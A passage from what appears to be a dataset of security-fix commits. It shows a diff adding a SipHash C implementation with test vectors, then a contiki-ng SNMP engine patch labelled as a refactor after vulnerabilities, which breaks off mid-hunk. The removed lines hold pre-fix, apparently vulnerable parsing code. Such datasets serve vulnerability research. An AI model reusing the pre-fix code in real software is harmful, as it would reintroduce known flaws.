0x736f6d6570736575ULL;\n+ uint64_t v1 = 0x646f72616e646f6dULL;\n+ uint64_t v2 = 0x6c7967656e657261ULL;\n+ uint64_t v3 = 0x7465646279746573ULL;\n+ uint64_t k0 = U8TO64_LE(k);\n+ uint64_t k1 = U8TO64_LE(k + 8);\n+ uint64_t m;\n+ const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));\n+ const int left = inlen & 7;\n+ uint64_t b = ((uint64_t)inlen) << 56;\n+ v3 ^= k1;\n+ v2 ^= k0;\n+ v1 ^= k1;\n+ v0 ^= k0;\n+\n+ for (; in != end; in += 8) {\n+ m = U8TO64_LE(in);\n+ v3 ^= m;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= m;\n+ }\n+\n+ switch (left) {\n+ case 7: b |= ((uint64_t)in[6]) << 48;\n+ case 6: b |= ((uint64_t)in[5]) << 40;\n+ case 5: b |= ((uint64_t)in[4]) << 32;\n+ case 4: b |= ((uint64_t)in[3]) << 24;\n+ case 3: b |= ((uint64_t)in[2]) << 16;\n+ case 2: b |= ((uint64_t)in[1]) << 8;\n+ case 1: b |= ((uint64_t)in[0]); break;\n+ case 0: break;\n+ }\n+\n+ v3 ^= b;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= b;\n+ v2 ^= 0xff;\n+\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+\n+ b = v0 ^ v1 ^ v2 ^ v3;\n+ U64TO8_LE(out, b);\n+\n+ return hash;\n+}\n+\n+uint64_t siphash_nocase(const uint8_t *in, const size_t inlen, const uint8_t *k)\n+{\n+ uint64_t hash;\n+ uint8_t *out = (uint8_t*) &hash;\n+ uint64_t v0 = 0x736f6d6570736575ULL;\n+ uint64_t v1 = 0x646f72616e646f6dULL;\n+ uint64_t v2 = 0x6c7967656e657261ULL;\n+ uint64_t v3 = 0x7465646279746573ULL;\n+ uint64_t k0 = U8TO64_LE(k);\n+ uint64_t k1 = U8TO64_LE(k + 8);\n+ uint64_t m;\n+ const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));\n+ const int left = inlen & 7;\n+ uint64_t b = ((uint64_t)inlen) << 56;\n+ v3 ^= k1;\n+ v2 ^= k0;\n+ v1 ^= k1;\n+ v0 ^= k0;\n+\n+ for (; in != end; in += 8) {\n+ m = U8TO64_LE_NOCASE(in);\n+ v3 ^= m;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= m;\n+ }\n+\n+ switch (left) {\n+ case 7: b |= ((uint64_t)tolower(in[6])) << 48;\n+ case 6: b |= ((uint64_t)tolower(in[5])) << 40;\n+ case 5: b |= ((uint64_t)tolower(in[4])) << 32;\n+ case 4: b |= ((uint64_t)tolower(in[3])) << 24;\n+ case 3: b |= ((uint64_t)tolower(in[2])) << 16;\n+ case 2: b |= ((uint64_t)tolower(in[1])) << 8;\n+ case 1: b |= ((uint64_t)tolower(in[0])); break;\n+ case 0: break;\n+ }\n+\n+ v3 ^= b;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= b;\n+ v2 ^= 0xff;\n+\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+\n+ b = v0 ^ v1 ^ v2 ^ v3;\n+ U64TO8_LE(out, b);\n+\n+ return hash;\n+}\n+\n+\n+/* --------------------------------- TEST ------------------------------------ */\n+\n+#ifdef SIPHASH_TEST\n+\n+const uint8_t vectors_sip64[64][8] = {\n+ { 0x31, 0x0e, 0x0e, 0xdd, 0x47, 0xdb, 0x6f, 0x72, },\n+ { 0xfd, 0x67, 0xdc, 0x93, 0xc5, 0x39, 0xf8, 0x74, },\n+ { 0x5a, 0x4f, 0xa9, 0xd9, 0x09, 0x80, 0x6c, 0x0d, },\n+ { 0x2d, 0x7e, 0xfb, 0xd7, 0x96, 0x66, 0x67, 0x85, },\n+ { 0xb7, 0x87, 0x71, 0x27, 0xe0, 0x94, 0x27, 0xcf, },\n+ { 0x8d, 0xa6, 0x99, 0xcd, 0x64, 0x55, 0x76, 0x18, },\n+ { 0xce, 0xe3, 0xfe, 0x58, 0x6e, 0x46, 0xc9, 0xcb, },\n+ { 0x37, 0xd1, 0x01, 0x8b, 0xf5, 0x00, 0x02, 0xab, },\n+ { 0x62, 0x24, 0x93, 0x9a, 0x79, 0xf5, 0xf5, 0x93, },\n+ { 0xb0, 0xe4, 0xa9, 0x0b, 0xdf, 0x82, 0x00, 0x9e, },\n+ { 0xf3, 0xb9, 0xdd, 0x94, 0xc5, 0xbb, 0x5d, 0x7a, },\n+ { 0xa7, 0xad, 0x6b, 0x22, 0x46, 0x2f, 0xb3, 0xf4, },\n+ { 0xfb, 0xe5, 0x0e, 0x86, 0xbc, 0x8f, 0x1e, 0x75, },\n+ { 0x90, 0x3d, 0x84, 0xc0, 0x27, 0x56, 0xea, 0x14, },\n+ { 0xee, 0xf2, 0x7a, 0x8e, 0x90, 0xca, 0x23, 0xf7, },\n+ { 0xe5, 0x45, 0xbe, 0x49, 0x61, 0xca, 0x29, 0xa1, },\n+ { 0xdb, 0x9b, 0xc2, 0x57, 0x7f, 0xcc, 0x2a, 0x3f, },\n+ { 0x94, 0x47, 0xbe, 0x2c, 0xf5, 0xe9, 0x9a, 0x69, },\n+ { 0x9c, 0xd3, 0x8d, 0x96, 0xf0, 0xb3, 0xc1, 0x4b, },\n+ { 0xbd, 0x61, 0x79, 0xa7, 0x1d, 0xc9, 0x6d, 0xbb, },\n+ { 0x98, 0xee, 0xa2, 0x1a, 0xf2, 0x5c, 0xd6, 0xbe, },\n+ { 0xc7, 0x67, 0x3b, 0x2e, 0xb0, 0xcb, 0xf2, 0xd0, },\n+ { 0x88, 0x3e, 0xa3, 0xe3, 0x95, 0x67, 0x53, 0x93, },\n+ { 0xc8, 0xce, 0x5c, 0xcd, 0x8c, 0x03, 0x0c, 0xa8, },\n+ { 0x94, 0xaf, 0x49, 0xf6, 0xc6, 0x50, 0xad, 0xb8, },\n+ { 0xea, 0xb8, 0x85, 0x8a, 0xde, 0x92, 0xe1, 0xbc, },\n+ { 0xf3, 0x15, 0xbb, 0x5b, 0xb8, 0x35, 0xd8, 0x17, },\n+ { 0xad, 0xcf, 0x6b, 0x07, 0x63, 0x61, 0x2e, 0x2f, },\n+ { 0xa5, 0xc9, 0x1d, 0xa7, 0xac, 0xaa, 0x4d, 0xde, },\n+ { 0x71, 0x65, 0x95, 0x87, 0x66, 0x50, 0xa2, 0xa6, },\n+ { 0x28, 0xef, 0x49, 0x5c, 0x53, 0xa3, 0x87, 0xad, },\n+ { 0x42, 0xc3, 0x41, 0xd8, 0xfa, 0x92, 0xd8, 0x32, },\n+ { 0xce, 0x7c, 0xf2, 0x72, 0x2f, 0x51, 0x27, 0x71, },\n+ { 0xe3, 0x78, 0x59, 0xf9, 0x46, 0x23, 0xf3, 0xa7, },\n+ { 0x38, 0x12, 0x05, 0xbb, 0x1a, 0xb0, 0xe0, 0x12, },\n+ { 0xae, 0x97, 0xa1, 0x0f, 0xd4, 0x34, 0xe0, 0x15, },\n+ { 0xb4, 0xa3, 0x15, 0x08, 0xbe, 0xff, 0x4d, 0x31, },\n+ { 0x81, 0x39, 0x62, 0x29, 0xf0, 0x90, 0x79, 0x02, },\n+ { 0x4d, 0x0c, 0xf4, 0x9e, 0xe5, 0xd4, 0xdc, 0xca, },\n+ { 0x5c, 0x73, 0x33, 0x6a, 0x76, 0xd8, 0xbf, 0x9a, },\n+ { 0xd0, 0xa7, 0x04, 0x53, 0x6b, 0xa9, 0x3e, 0x0e, },\n+ { 0x92, 0x59, 0x58, 0xfc, 0xd6, 0x42, 0x0c, 0xad, },\n+ { 0xa9, 0x15, 0xc2, 0x9b, 0xc8, 0x06, 0x73, 0x18, },\n+ { 0x95, 0x2b, 0x79, 0xf3, 0xbc, 0x0a, 0xa6, 0xd4, },\n+ { 0xf2, 0x1d, 0xf2, 0xe4, 0x1d, 0x45, 0x35, 0xf9, },\n+ { 0x87, 0x57, 0x75, 0x19, 0x04, 0x8f, 0x53, 0xa9, },\n+ { 0x10, 0xa5, 0x6c, 0xf5, 0xdf, 0xcd, 0x9a, 0xdb, },\n+ { 0xeb, 0x75, 0x09, 0x5c, 0xcd, 0x98, 0x6c, 0xd0, },\n+ { 0x51, 0xa9, 0xcb, 0x9e, 0xcb, 0xa3, 0x12, 0xe6, },\n+ { 0x96, 0xaf, 0xad, 0xfc, 0x2c, 0xe6, 0x66, 0xc7, },\n+ { 0x72, 0xfe, 0x52, 0x97, 0x5a, 0x43, 0x64, 0xee, },\n+ { 0x5a, 0x16, 0x45, 0xb2, 0x76, 0xd5, 0x92, 0xa1, },\n+ { 0xb2, 0x74, 0xcb, 0x8e, 0xbf, 0x87, 0x87, 0x0a, },\n+ { 0x6f, 0x9b, 0xb4, 0x20, 0x3d, 0xe7, 0xb3, 0x81, },\n+ { 0xea, 0xec, 0xb2, 0xa3, 0x0b, 0x22, 0xa8, 0x7f, },\n+ { 0x99, 0x24, 0xa4, 0x3c, 0xc1, 0x31, 0x57, 0x24, },\n+ { 0xbd, 0x83, 0x8d, 0x3a, 0xaf, 0xbf, 0x8d, 0xb7, },\n+ { 0x0b, 0x1a, 0x2a, 0x32, 0x65, 0xd5, 0x1a, 0xea, },\n+ { 0x13, 0x50, 0x79, 0xa3, 0x23, 0x1c, 0xe6, 0x60, },\n+ { 0x93, 0x2b, 0x28, 0x46, 0xe4, 0xd7, 0x06, 0x66, },\n+ { 0xe1, 0x91, 0x5f, 0x5c, 0xb1, 0xec, 0xa4, 0x6c, },\n+ { 0xf3, 0x25, 0x96, 0x5c, 0xa1, 0x6d, 0x62, 0x9f, },\n+ { 0x57, 0x5f, 0xf2, 0x8e, 0x60, 0x38, 0x1b, 0xe5, },\n+ { 0x72, 0x45, 0x06, 0xeb, 0x4c, 0x32, 0x8a, 0x95, },\n+};\n+\n+\n+/* Test siphash using a test vector. Returns 0 if the function passed\n+ * all the tests, otherwise 1 is returned. */\n+int siphash_test(void) {\n+ uint8_t in[64], k[16];\n+ int i;\n+ int fails = 0;\n+\n+ for (i = 0; i < 16; ++i)\n+ k[i] = i;\n+\n+ for (i = 0; i < 64; ++i) {\n+ in[i] = i;\n+ uint64_t hash = siphash(in, i, k);\n+ const uint8_t *v = NULL;\n+ v = (uint8_t *)vectors_sip64;\n+ if (memcmp(&hash, v + (i * 8), 8)) {\n+ /* printf(\"fail for %d bytes\\n\", i); */\n+ fails++;\n+ }\n+ }\n+\n+ /* Run a few basic tests with the case insensitive version. */\n+ uint64_t h1, h2;\n+ h1 = siphash((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 != h2) fails++;\n+\n+ h1 = siphash((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 != h2) fails++;\n+\n+ h1 = siphash((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 == h2) fails++;\n+\n+ if (!fails) return 0;\n+ return 1;\n+}\n+\n+int main(void) {\n+ if (siphash_test() == 0) {\n+ printf(\"SipHash test: OK\\n\");\n+ return 0;\n+ } else {\n+ printf(\"SipHash test: FAILED\\n\");\n+ return 1;\n+ }\n+}\n+\n+#endif\n+", "sections": [{"section": "@@ -0,0 +1,329 @@\n+/*\n+ SipHash reference C implementation\n+\n+ Copyright (c) 2012-2016 Jean-Philippe Aumasson\n+ \n+ Copyright (c) 2012-2014 Daniel J. Bernstein \n+ Copyright (c) 2017 Salvatore Sanfilippo \n+\n+ To the extent possible under law, the author(s) have dedicated all copyright\n+ and related and neighboring rights to this software to the public domain\n+ worldwide. This software is distributed without any warranty.\n+\n+ You should have received a copy of the CC0 Public Domain Dedication along\n+ with this software. If not, see\n+ .\n+\n+ ----------------------------------------------------------------------------\n+\n+ This version was modified by Salvatore Sanfilippo \n+ in the following ways:\n+\n+ 1. Hard-code 2-4 rounds in the hope the compiler can optimize it more\n+ in this raw from. Anyway we always want the standard 2-4 variant.\n+ 2. Modify the prototype and implementation so that the function directly\n+ returns an uint64_t value, the hash itself, instead of receiving an\n+ output buffer. This also means that the output size is set to 8 bytes\n+ and the 16 bytes output code handling was removed.\n+ 3. Provide a case insensitive variant to be used when hashing strings that\n+ must be considered identical by the hash table regardless of the case.\n+ If we don't have directly a case insensitive hash function, we need to\n+ perform a text transformation in some temporary buffer, which is costly.\n+ 4. Remove debugging code.\n+ 5. Modified the original test.c file to be a stand-alone function testing\n+ the function in the new form (returing an uint64_t) using just the\n+ relevant test vector.\n+ */\n+#include \n+#include \n+#include \n+#include \n+#include \n+\n+#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))\n+\n+#define U32TO8_LE(p, v) \\\n+ (p)[0] = (uint8_t)((v)); \\\n+ (p)[1] = (uint8_t)((v) >> 8); \\\n+ (p)[2] = (uint8_t)((v) >> 16); \\\n+ (p)[3] = (uint8_t)((v) >> 24);\n+\n+#define U64TO8_LE(p, v) \\\n+ U32TO8_LE((p), (uint32_t)((v))); \\\n+ U32TO8_LE((p) + 4, (uint32_t)((v) >> 32));\n+\n+#define U8TO64_LE(p) \\\n+ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \\\n+ ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \\\n+ ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \\\n+ ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))\n+\n+#define U8TO64_LE_NOCASE(p) \\\n+ (((uint64_t)(tolower((p)[0]))) | \\\n+ ((uint64_t)(tolower((p)[1])) << 8) | \\\n+ ((uint64_t)(tolower((p)[2])) << 16) | \\\n+ ((uint64_t)(tolower((p)[3])) << 24) | \\\n+ ((uint64_t)(tolower((p)[4])) << 32) | \\\n+ ((uint64_t)(tolower((p)[5])) << 40) | \\\n+ ((uint64_t)(tolower((p)[6])) << 48) | \\\n+ ((uint64_t)(tolower((p)[7])) << 56))\n+\n+#define SIPROUND \\\n+ do { \\\n+ v0 += v1; \\\n+ v1 = ROTL(v1, 13); \\\n+ v1 ^= v0; \\\n+ v0 = ROTL(v0, 32); \\\n+ v2 += v3; \\\n+ v3 = ROTL(v3, 16); \\\n+ v3 ^= v2; \\\n+ v0 += v3; \\\n+ v3 = ROTL(v3, 21); \\\n+ v3 ^= v0; \\\n+ v2 += v1; \\\n+ v1 = ROTL(v1, 17); \\\n+ v1 ^= v2; \\\n+ v2 = ROTL(v2, 32); \\\n+ } while (0)\n+\n+uint64_t siphash(const uint8_t *in, const size_t inlen, const uint8_t *k) {\n+ uint64_t hash;\n+ uint8_t *out = (uint8_t*) &hash;\n+ uint64_t v0 = 0x736f6d6570736575ULL;\n+ uint64_t v1 = 0x646f72616e646f6dULL;\n+ uint64_t v2 = 0x6c7967656e657261ULL;\n+ uint64_t v3 = 0x7465646279746573ULL;\n+ uint64_t k0 = U8TO64_LE(k);\n+ uint64_t k1 = U8TO64_LE(k + 8);\n+ uint64_t m;\n+ const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));\n+ const int left = inlen & 7;\n+ uint64_t b = ((uint64_t)inlen) << 56;\n+ v3 ^= k1;\n+ v2 ^= k0;\n+ v1 ^= k1;\n+ v0 ^= k0;\n+\n+ for (; in != end; in += 8) {\n+ m = U8TO64_LE(in);\n+ v3 ^= m;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= m;\n+ }\n+\n+ switch (left) {\n+ case 7: b |= ((uint64_t)in[6]) << 48;\n+ case 6: b |= ((uint64_t)in[5]) << 40;\n+ case 5: b |= ((uint64_t)in[4]) << 32;\n+ case 4: b |= ((uint64_t)in[3]) << 24;\n+ case 3: b |= ((uint64_t)in[2]) << 16;\n+ case 2: b |= ((uint64_t)in[1]) << 8;\n+ case 1: b |= ((uint64_t)in[0]); break;\n+ case 0: break;\n+ }\n+\n+ v3 ^= b;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= b;\n+ v2 ^= 0xff;\n+\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+\n+ b = v0 ^ v1 ^ v2 ^ v3;\n+ U64TO8_LE(out, b);\n+\n+ return hash;\n+}\n+\n+uint64_t siphash_nocase(const uint8_t *in, const size_t inlen, const uint8_t *k)\n+{\n+ uint64_t hash;\n+ uint8_t *out = (uint8_t*) &hash;\n+ uint64_t v0 = 0x736f6d6570736575ULL;\n+ uint64_t v1 = 0x646f72616e646f6dULL;\n+ uint64_t v2 = 0x6c7967656e657261ULL;\n+ uint64_t v3 = 0x7465646279746573ULL;\n+ uint64_t k0 = U8TO64_LE(k);\n+ uint64_t k1 = U8TO64_LE(k + 8);\n+ uint64_t m;\n+ const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));\n+ const int left = inlen & 7;\n+ uint64_t b = ((uint64_t)inlen) << 56;\n+ v3 ^= k1;\n+ v2 ^= k0;\n+ v1 ^= k1;\n+ v0 ^= k0;\n+\n+ for (; in != end; in += 8) {\n+ m = U8TO64_LE_NOCASE(in);\n+ v3 ^= m;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= m;\n+ }\n+\n+ switch (left) {\n+ case 7: b |= ((uint64_t)tolower(in[6])) << 48;\n+ case 6: b |= ((uint64_t)tolower(in[5])) << 40;\n+ case 5: b |= ((uint64_t)tolower(in[4])) << 32;\n+ case 4: b |= ((uint64_t)tolower(in[3])) << 24;\n+ case 3: b |= ((uint64_t)tolower(in[2])) << 16;\n+ case 2: b |= ((uint64_t)tolower(in[1])) << 8;\n+ case 1: b |= ((uint64_t)tolower(in[0])); break;\n+ case 0: break;\n+ }\n+\n+ v3 ^= b;\n+\n+ SIPROUND;\n+ SIPROUND;\n+\n+ v0 ^= b;\n+ v2 ^= 0xff;\n+\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+ SIPROUND;\n+\n+ b = v0 ^ v1 ^ v2 ^ v3;\n+ U64TO8_LE(out, b);\n+\n+ return hash;\n+}\n+\n+\n+/* --------------------------------- TEST ------------------------------------ */\n+\n+#ifdef SIPHASH_TEST\n+\n+const uint8_t vectors_sip64[64][8] = {\n+ { 0x31, 0x0e, 0x0e, 0xdd, 0x47, 0xdb, 0x6f, 0x72, },\n+ { 0xfd, 0x67, 0xdc, 0x93, 0xc5, 0x39, 0xf8, 0x74, },\n+ { 0x5a, 0x4f, 0xa9, 0xd9, 0x09, 0x80, 0x6c, 0x0d, },\n+ { 0x2d, 0x7e, 0xfb, 0xd7, 0x96, 0x66, 0x67, 0x85, },\n+ { 0xb7, 0x87, 0x71, 0x27, 0xe0, 0x94, 0x27, 0xcf, },\n+ { 0x8d, 0xa6, 0x99, 0xcd, 0x64, 0x55, 0x76, 0x18, },\n+ { 0xce, 0xe3, 0xfe, 0x58, 0x6e, 0x46, 0xc9, 0xcb, },\n+ { 0x37, 0xd1, 0x01, 0x8b, 0xf5, 0x00, 0x02, 0xab, },\n+ { 0x62, 0x24, 0x93, 0x9a, 0x79, 0xf5, 0xf5, 0x93, },\n+ { 0xb0, 0xe4, 0xa9, 0x0b, 0xdf, 0x82, 0x00, 0x9e, },\n+ { 0xf3, 0xb9, 0xdd, 0x94, 0xc5, 0xbb, 0x5d, 0x7a, },\n+ { 0xa7, 0xad, 0x6b, 0x22, 0x46, 0x2f, 0xb3, 0xf4, },\n+ { 0xfb, 0xe5, 0x0e, 0x86, 0xbc, 0x8f, 0x1e, 0x75, },\n+ { 0x90, 0x3d, 0x84, 0xc0, 0x27, 0x56, 0xea, 0x14, },\n+ { 0xee, 0xf2, 0x7a, 0x8e, 0x90, 0xca, 0x23, 0xf7, },\n+ { 0xe5, 0x45, 0xbe, 0x49, 0x61, 0xca, 0x29, 0xa1, },\n+ { 0xdb, 0x9b, 0xc2, 0x57, 0x7f, 0xcc, 0x2a, 0x3f, },\n+ { 0x94, 0x47, 0xbe, 0x2c, 0xf5, 0xe9, 0x9a, 0x69, },\n+ { 0x9c, 0xd3, 0x8d, 0x96, 0xf0, 0xb3, 0xc1, 0x4b, },\n+ { 0xbd, 0x61, 0x79, 0xa7, 0x1d, 0xc9, 0x6d, 0xbb, },\n+ { 0x98, 0xee, 0xa2, 0x1a, 0xf2, 0x5c, 0xd6, 0xbe, },\n+ { 0xc7, 0x67, 0x3b, 0x2e, 0xb0, 0xcb, 0xf2, 0xd0, },\n+ { 0x88, 0x3e, 0xa3, 0xe3, 0x95, 0x67, 0x53, 0x93, },\n+ { 0xc8, 0xce, 0x5c, 0xcd, 0x8c, 0x03, 0x0c, 0xa8, },\n+ { 0x94, 0xaf, 0x49, 0xf6, 0xc6, 0x50, 0xad, 0xb8, },\n+ { 0xea, 0xb8, 0x85, 0x8a, 0xde, 0x92, 0xe1, 0xbc, },\n+ { 0xf3, 0x15, 0xbb, 0x5b, 0xb8, 0x35, 0xd8, 0x17, },\n+ { 0xad, 0xcf, 0x6b, 0x07, 0x63, 0x61, 0x2e, 0x2f, },\n+ { 0xa5, 0xc9, 0x1d, 0xa7, 0xac, 0xaa, 0x4d, 0xde, },\n+ { 0x71, 0x65, 0x95, 0x87, 0x66, 0x50, 0xa2, 0xa6, },\n+ { 0x28, 0xef, 0x49, 0x5c, 0x53, 0xa3, 0x87, 0xad, },\n+ { 0x42, 0xc3, 0x41, 0xd8, 0xfa, 0x92, 0xd8, 0x32, },\n+ { 0xce, 0x7c, 0xf2, 0x72, 0x2f, 0x51, 0x27, 0x71, },\n+ { 0xe3, 0x78, 0x59, 0xf9, 0x46, 0x23, 0xf3, 0xa7, },\n+ { 0x38, 0x12, 0x05, 0xbb, 0x1a, 0xb0, 0xe0, 0x12, },\n+ { 0xae, 0x97, 0xa1, 0x0f, 0xd4, 0x34, 0xe0, 0x15, },\n+ { 0xb4, 0xa3, 0x15, 0x08, 0xbe, 0xff, 0x4d, 0x31, },\n+ { 0x81, 0x39, 0x62, 0x29, 0xf0, 0x90, 0x79, 0x02, },\n+ { 0x4d, 0x0c, 0xf4, 0x9e, 0xe5, 0xd4, 0xdc, 0xca, },\n+ { 0x5c, 0x73, 0x33, 0x6a, 0x76, 0xd8, 0xbf, 0x9a, },\n+ { 0xd0, 0xa7, 0x04, 0x53, 0x6b, 0xa9, 0x3e, 0x0e, },\n+ { 0x92, 0x59, 0x58, 0xfc, 0xd6, 0x42, 0x0c, 0xad, },\n+ { 0xa9, 0x15, 0xc2, 0x9b, 0xc8, 0x06, 0x73, 0x18, },\n+ { 0x95, 0x2b, 0x79, 0xf3, 0xbc, 0x0a, 0xa6, 0xd4, },\n+ { 0xf2, 0x1d, 0xf2, 0xe4, 0x1d, 0x45, 0x35, 0xf9, },\n+ { 0x87, 0x57, 0x75, 0x19, 0x04, 0x8f, 0x53, 0xa9, },\n+ { 0x10, 0xa5, 0x6c, 0xf5, 0xdf, 0xcd, 0x9a, 0xdb, },\n+ { 0xeb, 0x75, 0x09, 0x5c, 0xcd, 0x98, 0x6c, 0xd0, },\n+ { 0x51, 0xa9, 0xcb, 0x9e, 0xcb, 0xa3, 0x12, 0xe6, },\n+ { 0x96, 0xaf, 0xad, 0xfc, 0x2c, 0xe6, 0x66, 0xc7, },\n+ { 0x72, 0xfe, 0x52, 0x97, 0x5a, 0x43, 0x64, 0xee, },\n+ { 0x5a, 0x16, 0x45, 0xb2, 0x76, 0xd5, 0x92, 0xa1, },\n+ { 0xb2, 0x74, 0xcb, 0x8e, 0xbf, 0x87, 0x87, 0x0a, },\n+ { 0x6f, 0x9b, 0xb4, 0x20, 0x3d, 0xe7, 0xb3, 0x81, },\n+ { 0xea, 0xec, 0xb2, 0xa3, 0x0b, 0x22, 0xa8, 0x7f, },\n+ { 0x99, 0x24, 0xa4, 0x3c, 0xc1, 0x31, 0x57, 0x24, },\n+ { 0xbd, 0x83, 0x8d, 0x3a, 0xaf, 0xbf, 0x8d, 0xb7, },\n+ { 0x0b, 0x1a, 0x2a, 0x32, 0x65, 0xd5, 0x1a, 0xea, },\n+ { 0x13, 0x50, 0x79, 0xa3, 0x23, 0x1c, 0xe6, 0x60, },\n+ { 0x93, 0x2b, 0x28, 0x46, 0xe4, 0xd7, 0x06, 0x66, },\n+ { 0xe1, 0x91, 0x5f, 0x5c, 0xb1, 0xec, 0xa4, 0x6c, },\n+ { 0xf3, 0x25, 0x96, 0x5c, 0xa1, 0x6d, 0x62, 0x9f, },\n+ { 0x57, 0x5f, 0xf2, 0x8e, 0x60, 0x38, 0x1b, 0xe5, },\n+ { 0x72, 0x45, 0x06, 0xeb, 0x4c, 0x32, 0x8a, 0x95, },\n+};\n+\n+\n+/* Test siphash using a test vector. Returns 0 if the function passed\n+ * all the tests, otherwise 1 is returned. */\n+int siphash_test(void) {\n+ uint8_t in[64], k[16];\n+ int i;\n+ int fails = 0;\n+\n+ for (i = 0; i < 16; ++i)\n+ k[i] = i;\n+\n+ for (i = 0; i < 64; ++i) {\n+ in[i] = i;\n+ uint64_t hash = siphash(in, i, k);\n+ const uint8_t *v = NULL;\n+ v = (uint8_t *)vectors_sip64;\n+ if (memcmp(&hash, v + (i * 8), 8)) {\n+ /* printf(\"fail for %d bytes\\n\", i); */\n+ fails++;\n+ }\n+ }\n+\n+ /* Run a few basic tests with the case insensitive version. */\n+ uint64_t h1, h2;\n+ h1 = siphash((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 != h2) fails++;\n+\n+ h1 = siphash((uint8_t*)\"hello world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 != h2) fails++;\n+\n+ h1 = siphash((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ h2 = siphash_nocase((uint8_t*)\"HELLO world\",11,(uint8_t*)\"1234567812345678\");\n+ if (h1 == h2) fails++;\n+\n+ if (!fails) return 0;\n+ return 1;\n+}\n+\n+int main(void) {\n+ if (siphash_test() == 0) {\n+ printf(\"SipHash test: OK\\n\");\n+ return 0;\n+ } else {\n+ printf(\"SipHash test: FAILED\\n\");\n+ return 1;\n+ }\n+}\n+\n+#endif\n+", "related": false}]} +{"owner": "contiki-ng", "repo": "contiki-ng", "language": "C", "file_name": "os/net/app-layer/snmp/snmp-engine.c", "commit_id": "12c824386ab60de757de5001974d73b32e19ad71", "commit_message": "Refactored SNMP engine after vulnerabilities", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (C) 2019 Yago Fontoura do Rosario \n+ * Copyright (C) 2019-2020 Yago Fontoura do Rosario \n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n@@ -32,7 +32,7 @@\n \n /**\n * \\file\n- * An implementation of the Simple Network Management Protocol (RFC 3411-3418)\n+ * SNMP Implementation of the protocol engine\n * \\author\n * Yago Fontoura do Rosario version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_NO_SUCH_INSTANCE;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_NO_SUCH_INSTANCE;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- resource->handler(&varbinds[i], resource->oid);\n+ resource->handler(&varbinds[i], &resource->oid);\n }\n+\n+ i++;\n }\n \n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-int\n-snmp_engine_get_next(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t varbinds_length)\n+static inline int\n+snmp_engine_get_next(snmp_header_t *header, snmp_varbind_t *varbinds)\n {\n snmp_mib_resource_t *resource;\n- uint32_t i;\n+ uint8_t i;\n \n- for(i = 0; i < varbinds_length; i++) {\n- resource = snmp_mib_find_next(varbinds[i].oid);\n+ i = 0;\n+ while(varbinds[i].value_type != BER_DATA_TYPE_EOC && i < SNMP_MAX_NR_VALUES) {\n+ resource = snmp_mib_find_next(&varbinds[i].oid);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n 